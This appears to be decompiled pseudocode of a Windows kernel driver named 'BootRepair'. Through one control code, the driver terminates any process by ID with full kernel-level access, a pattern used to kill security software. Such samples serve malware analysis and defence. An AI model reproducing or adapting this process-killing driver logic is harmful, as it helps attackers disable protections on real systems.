NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT *DriverObject, PUNICODE_STRING RegistryPath)
{
char v3; // di
int v4; // ebx
struct _UNICODE_STRING SymbolicLinkName; // [rsp+48h] [rbp-30h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+58h] [rbp-20h] BYREF
PDEVICE_OBJECT StartContext; // [rsp+80h] [rbp+8h] BYREF
void *ThreadHandle; // [rsp+90h] [rbp+18h] BYREF
ThreadHandle = 0i64;
StartContext = 0i64;
DriverObject->MajorFunction[4] = (PDRIVER_DISPATCH)&sub_140001000;
DriverObject->MajorFunction[3] = (PDRIVER_DISPATCH)&sub_140001000;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_140001000;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_140001000;
DriverObject->MajorFunction[16] = (PDRIVER_DISPATCH)&sub_140001084;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_140001020;
RtlInitUnicodeString(&DestinationString, L"\\Device\\::BootRepair");
v3 = 0;
v4 = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0, 0, &StartContext);
if ( v4 >= 0 )
{
v4 = PsCreateSystemThread(&ThreadHandle, 0x1FFFFFu, 0i64, 0i64, 0i64, StartRoutine, 0i64);
if ( v4 >= 0 )
{
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\BootRepair");
v4 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if ( v4 >= 0 )
{
v3 = 1;
v4 = IoRegisterShutdownNotification(StartContext);
}
}
}
if ( v4 < 0 )
{
if ( v3 )
IoDeleteSymbolicLink(&SymbolicLinkName);
if ( StartContext )
IoDeleteDevice(StartContext);
}
return v4;
}
__int64 __fastcall sub_140001020(__int64 a1, IRP *a2)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rcx
struct _IRP *MasterIrp; // rax
unsigned int v5; // edi
CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
MasterIrp = a2->AssociatedIrp.MasterIrp;
v5 = -1073741823;
if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart == 2236436 )
{
if ( MasterIrp && CurrentStackLocation->Parameters.Create.Options == 4 )
v5 = sub_14000198C(*(unsigned int *)&MasterIrp->Type);
else
v5 = -1073741306;
}
a2->IoStatus.Information = 0i64;
a2->IoStatus.Status = v5;
IofCompleteRequest(a2, 0);
return v5;
}
__int64 __fastcall sub_14000198C(void *a1)
{
NTSTATUS v1; // ebx
PEPROCESS Process; // [rsp+58h] [rbp+10h] BYREF
HANDLE ProcessHandle; // [rsp+60h] [rbp+18h] BYREF
Process = 0i64;
ProcessHandle = 0i64;
v1 = PsLookupProcessByProcessId(a1, &Process);
if ( v1 >= 0 )
{
v1 = ObOpenObjectByPointer(Process, 0, 0i64, 0x1FFFFFu, 0i64, 0, &ProcessHandle);
if ( v1 >= 0 )
v1 = ZwTerminateProcess(ProcessHandle, 0);
}
if ( Process )
{
ObfDereferenceObject(Process);
Process = 0i64;
}
if ( ProcessHandle )
ZwClose(ProcessHandle);
return (unsigned int)v1;
} |